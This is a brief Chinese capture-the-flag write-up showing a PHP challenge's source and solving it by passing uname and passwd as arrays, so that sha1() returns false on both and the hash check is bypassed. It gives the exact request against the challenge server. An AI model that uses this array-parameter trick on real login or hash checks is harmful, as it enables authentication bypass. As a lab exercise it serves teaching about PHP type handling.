各种绕过

各种绕过(110)

sha1对数组加密返回为false

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?>

阅读代码 发现

只要使uname的sha1的值与passwd的sha1的值相等即可，但是同时他们两个的值又不能相等,但是sha1对数组加密为false，false=false为true

构造

http://123.206.87.240:8002/web7/?id=margin&uname[]=1 并发送 passwd[]=2 的 postdata 请求即可